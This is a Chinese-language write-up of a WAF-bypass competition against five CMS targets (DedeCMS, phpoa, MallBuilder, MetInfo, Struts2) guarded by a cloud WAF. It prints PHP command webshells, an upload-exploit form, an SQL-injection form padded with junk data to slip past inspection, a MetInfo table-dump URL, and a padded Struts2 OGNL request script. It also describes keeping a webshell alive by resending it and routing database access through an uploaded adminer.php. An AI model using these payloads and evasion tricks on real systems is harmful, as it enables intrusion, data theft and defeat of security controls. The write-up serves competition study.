0x01 preview

上个星期参加了某巨头厂商承办的挑战赛,比赛周期48小时,题目是成功渗透在安全宝保护下的五个通用cms靶场,其中包括论坛、商城、资源网站等
从靶场布置来看很明显是在测试安全宝对于几种不同类型cms的对攻击的防御能力。
这样的比赛模式区别于常见的CTF线上模式稍有不同,实战味道较强。常规的CTF在Web题目上面主要考察的是漏洞挖掘和利用,难点一般凸显在发现难和利用 难。而此次靶场中的环境在网上都能找到相关公开漏洞,利用方式较简单,但是我对抗的目标不是存在漏洞的web应用,而是对其起保护作用的WAF
0x02 浅析云waf
抱歉,这里一个实战经验极乏、安全资历尚浅初涉小白在这里浅析WAF机制,实在是难于弄笔。这里主要参考(抄袭)Drops上 MayIKissYou 大牛之前总结的《Bypass WAF Cookbook》


1.png




这是直接盗的图,与对手博弈,我们首先得知道我们得对手处于我们数据流的哪一环节。
MayIKissYou 这里将我们进行测试时的payload从发起到抵达服务器参与运算的整个周期拓扑图画了出来。
可知,waf主要是针对我们传输的数据进行了检测。这就导致 我们的payload既要满足触发web应用本身漏洞的条件,也要具备同事绕过waf检测和web应用本身一些安全检测的能力。
web应用层面的安全检测我们大多都还能有所了解,包括关键字的检测,过滤,正则匹配等等。在绕过上之前也有相当多的资料,这里我们主要就此次比赛的一些体会简单谈谈我对waf相较于web应用本身安全机制的一些优势。
web应用本身的安全检测对恶意输入的检测效能远远不及waf,从功能划分的角度来说,web应用的主要工作是处理用户输入的数据,为了本身的安全 性可以针对用户的输入进行一定的成本较低的检测,保证用户使用的友好性,尤其是在大型数据系统中,没时刻处理的数据量极大,对于web应用本身是不可能花 太大的精力对数据进行较为完整的检测。
但是我认为web应用本身有一个很好的特点就是可以针对相应参数的作用进行白名单形式的限制,进行有针对性的过滤。 但是waf若能很好地拦截下恶意攻击,web应用就能把资源花在处理正常请求上对于web应用的运行再好不过。
云waf给人带来的直观感受是其极强的感知能力,对手活了起来,见招拆招。传统安全设备受限于单机计算资源,主要采取的工作模式是基于特征匹配的过 滤。云资源让waf具备了人工智能的特征,充分利用云计算信息同步,计算能力强大的特点,运用大数据分析,机器学习等思想到waf中,waf具备了一定的 学习分析能力,攻击成本明显提高不少。对抗这样的对手,不得不说是人灵活的思想在和计算机的计算进行对抗。
0x03 题目解析
当然,这次比赛到没上面说的那么玄乎,但是依稀能感觉到在未来攻防会是数据、计算、智能的对抗。
这次比赛是五个靶场,每个靶场都有两个flag,一个位于服务器目录,一个位于数据库中。集中测试对于命令代码执行和sql命令的防御。
五道题的攻击思想基本大同小异,皆是抓住了目前云waf的防御劣势进行的绕过。下面我们来看具体详情。

3.1:dedecms
dedecms这道题的解决思路是通过后台弱口令,获取后台权限,再通过file_manage_main.php这处文件管理模块,生成了畸形可解析的pht扩展名脚本,在里面写入了代码:


1
2
3
4
<?php[/color]
[color=#000000]system(@_POST[cmd]);[/color]
[color=#000000]?>[/color]
[color=#000000]

通过pwd,ls,grep,cat等指令进行的flag.txt获取。现在看似思路简单,但是当时还是绕了好一会。
回想我们上面提到的云waf检测在payload发出到服务器上相应内存注销的整个生命周期的位置,我们可知,其分析行为主要是对我们流量数据的检测,而不是服务器上行为的检测。那么我们提交的参数要满足的条件就是在特征模式识别下“不敏感”,在能实现我们功能要求的情况下尽量短小和平常,计算上面的任务尽量交给服务器。
在这里我们可以发现若是使用一句话菜刀会连不上,sql语句注入也会被拦截,都是因为这样的payload特征明显,特征明显容易被拦截。所以这里采用的system()结合pwd,ls,grep,cat等对于flag文件查找方便的函数和命令,把更多的计算直接交给服务器。
file_manage_main.php界面

【干货】记一次WAF对抗赛详解&全方位绕过WAF

拿到文件flag之后想办法拿数据库的flag,这里的想法是读config文件,可是直接用文件管理模块读取不了,现在一想不一定是权限问题,若是我作为waf设计者,会对访问config.php文件相当警惕,因为这是很危险且不正常的行为,所以采取的措施是将其扩展名改为txt直接访问查看,这样敏感度低了不少,拿到数据库信息之后,通过adminer.php连接管理数据库拿到数据库中的flag。
一开始其实计划是使用navicat,加他的中转php脚本实现本地对内网数据库的访问。但是在上传脚本之后,本地连接能连接上但是执行指令很困难。这也在预料之后,因为我们所用通过http过去的数据都会经过云waf,所以我采用了上传adminer.php,在这个工具下发起的请求是由服务器本机发起的,不会经过云waf,故而未被拦截。
当然在这之前我们已经通过文件管理模块将adminer.php的代码写入了其中。
这道题主要的突破点还是在于管理的疏忽弱口令,或者说是数据爆破,和利用web应用本身的功能,上传adminer.php这样的工具,让流量从服务器本地发起,不经云waf的检测。

3.2:phpoa
这道题是分值最低的一道题,因此成了对抗赛CTF中常见的搅屎现象最恶劣的一道题。是的,依稀记得当时正准备写另一份内网渗透报告,做得相当心疼。
存在的漏洞是一个任意文件上传
利用方法是本地构造一表单


1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head></head>
<body>
        <form action="http://localhost/phpoa/ntko/upLoadOfficeFile.php" method="post" enctype="multipart/form-data">
  
                <input type="file" name="upLoadFile"><br/>
  
                <input type="file" name="attachFile"><br/>
  
                <input type="submit" value="submit">
        </form>
</body>
</html>

将action参数进行修改之后按照wooyun那篇文章的步骤遍可以进行上传,获得Webshell。
但是再这样的一个实时对抗的马场上,控守倒是变得比较困难。一般我们在线下CTF中控守,一般使用内存驻留的木马,和计划任务等进行控守,避免文件被杀之后失去控制权。

不过这个靶场有一个特点是禁用了很多php函数,期初上传了一个b374k上去之后发现登录都成问题。遂放弃使用php来执行功能,朴朴素素上传

1
2
3
<?php
system($_POST[cmd]);
?>

通过系统命令来实现我们的功能。控守策略,由于发现服务器端搅屎脚本貌似效率不高,我们上传的后门存活时间有几秒左右,决定使用资源竞争的方法,不停地想服务器发送同样的数据包,文件被删之后立马就能补充上,不影响正常操作。

【干货】记一次WAF对抗赛详解&全方位绕过WAF

【干货】记一次WAF对抗赛详解&全方位绕过WAF

通过burpsuite多线程对服务器发送同一包,维持Webshell的生命

【干货】记一次WAF对抗赛详解&全方位绕过WAF

【干货】记一次WAF对抗赛详解&全方位绕过WAF

【干货】记一次WAF对抗赛详解&全方位绕过WAF

(自己yy的重复发包方法,后来发现有专门的选项。非常尴尬!)
这道题利用简单,主要是搅屎的比较多,需要一些策略。存在的一种思想是计算资源的对抗。


3.3:mallbuilder
这个cms一堆sql注入漏洞,布尔盲注较多,若要取出flag势必要构造select column from database.tables这样的语句,这样的语句穿透防火墙难度实在太大了,中间试了很多绕过方法都没通过。
当然传过去的参数进入了云waf的检测目标能通过的概率极低。陈羽森老师在15年阿里峰会上《永别了sql注入》中就提到,检测机制采用机器学习、语义分析思想来对参数进行检测,在这样的模式下对云waf进行绕过,远非之前针对规则的绕过难。云waf的计算能力远超老式单机防火墙。
我们的突破思路在于如何让我们的参数不要成为云waf的检测目标。这里我们采用的是,form-data的post提交方式,我们找到了一个POST的注入点,使用form-data的方式进行参数提交。这样便轻松地参数避免了检测,轻松注入。
为什么form post提交能避开检测呢?其实我对这一块了解也不深,但是就一般而言,Form-data通常用来提交文件,文件大小不一,格式不定,若是对这样的请求进行大力度的检测,虽然云计算的计算能力强,但这也是对计算资源的极大消耗,而且不同的文件结构,对于waf来说识别困难按格式分析危害更是难上加难。所以这种方式提交的参数,即使检测,检测的级别也不会太高。
所以通过form post的方法提交参数,并且在其中混入大量无影响的花数据,对抗云waf起的效果相当好。
Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>  
<html>  
<head>  
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />  
        <title>yzmm - p2j.cn</title>  </head>  
        <body>      
                <form action="http://mall.anquanbao.com.cn/cate_show_ajax.php?oper=ajax&call=get_cate" method="POST" enctype="multipart/form-data">          
                        funck:<input type="text" name="fuck" value="adsfadsfasdfksadfhadsjkfhkdsahfkdsahfkadshfkdsahfkjdsahfkjasdhfkajsdhfkajshfkadsfhkadshfakdsfhkdasfhkashfdkadsfhkadsfhkdasfhkdasfhakfh" /><br/>         
                        ID:<input type="text" name="catid" value="12313213131313113) and  EXP(~(SELECT*FROM(SElect name FROM mallbuilder_admin limit 1,1)a))#" style="width:250px;" / ><br/>           
                        <input type="submit" value="sub" />      
                </form>  
        </body>  
</html>

这里可注入拿到后台密码,和数据库的flag,后面是发现的后台一处命令执行拿的文件权限。漏洞网上未公开,这里就不详细公开。

3.4:MetInfo
这里这处注入,确实奇葩,也是源于该处功能的奇葩,代码审计一下。
admin/content/feedback/export.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php[/color]
  
[color=#000000]# MetInfo Enterprise Content Management System [/color]
  
[color=#000000]# Copyright (C) MetInfo Co.,Ltd (http://**.**.**.**). All rights reserved. [/color]
  
[color=#000000]        ob_start();[/color]
  
[color=#000000]        $depth='../';[/color]
  
[color=#000000]        require_once $depth.'../include/common.inc.php';[/color]
  
[color=#000000]        ob_clean();[/color]
  
[color=#000000]        ob_start();

未进行login检查

1
2
3
4
5
6
7
8
9
10
11
foreach($settings_arr as $key=>$val){
  
                if($val['columnid']==$class1){
  
                        $tingname    =$val['name'].'_'.$val['columnid'];   
  
                        $$val['name']=$$tingname;
  
                }
  
        }

此处可通过val[‘name’]进行变量覆盖,覆盖的值,可以通过对$tingname的值在url中进行定义任意构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$query
  
"SELECT * FROM $met_parameter where module=8 and lang='$lang' order by no_order"
  
          
//>>>>注意,$met_parameter是在$settings_arr后被初始化的,不能直接覆盖,但是可以结合上面的危险操作,进行覆盖<<<<
  
         
//print $query.'<br>';
  
         
//die();
  
         
$result
  
$db
->query(
$query
);
  
         
while
(
$list
$db
->fetch_array(
$result
)){
  
                 
/*
  
                 
print '<br><br>$list=';
  
                 
print_r($list);
  
                 
*/
  
                 
$feedbackpara
[
$list
[
'id'
]]=
$list
;  
// 注意这里的id
  
                 
$feedback_para
[]=
$list
;
  
         
}

这里结合上面 我们通过 "http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter"  这样的payload便可以对任意表的id字段进行dump,我们修改met_admin_table为flag可dump出来
此处因为漏洞的原因,我们未提交带有明显攻击痕迹的payload,所以waf对于这样的逻辑类似的洞是无能为力的。
这题的文件flag未拿到,赛后同其他同学交流据说他们当时直接访问url/flag.txt便拿到了flag................非常尴尬

【干货】记一次WAF对抗赛详解&全方位绕过WAF

【干货】记一次WAF对抗赛详解&全方位绕过WAF

3.5:struts st2

用SSS安全论坛的st2检测工具直接检测出漏洞,但是想进一步进行命令执行太困难了。过不了waf,这里采用的思想同之前所说,通过post,增加混淆花数据,让服务器放弃检测。
获取命令执行paylaod的方法,一个是可以去网上搜集;另一个是通过逆向分析,从利用工具源码中逆向出paylaod,这里是用net写的,很容易便可以逆向出;还有就是用nc监听一个端口,然后用exp像监听的端口发送payload,亦可以捕获。
起初是在get中进行添加,但是发现waf会对url的长度进行检测,超长直接拦截。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding=utf-8
  
import requests
import sys
  
'''
author:h*a**v
'''
if (True):
    link "http://xxxxx/xxx.action"
    #link = "http://127.0.0.1:8080"
    l=1
  
    #test mode
    data='''method:%23_memberAccess%[url=mailto:3d@ognl.OgnlContext]3d@ognl.OgnlContext[/url]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.web[0]),%23w.print(%23parameters.path[0]),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8&web=web&path=path%3a&test='''
    payload="x"*10000
    data=data+payload
    proxies={"http":"http://127.0.0.1:8080"}
    #res=requests.post(link,data=data,proxies=proxies)
    res=requests.post(link,data=data)
    print res.content

以上代码说明方法,实际情况直接用上面代码打,服务器无法接收的 ,问题大家自己排除吧。


0x04 总结
上面几道过waf题的主要思想包括,通过混淆花数据消耗计算资源,减小交互功能数据量,和类似和“逻辑”漏洞的利用。主要是针对云waf设计特性的绕过,而非以往针对匹配规则进行混淆的绕过。由于水平尚浅不足之处欢迎指正,随意取笑。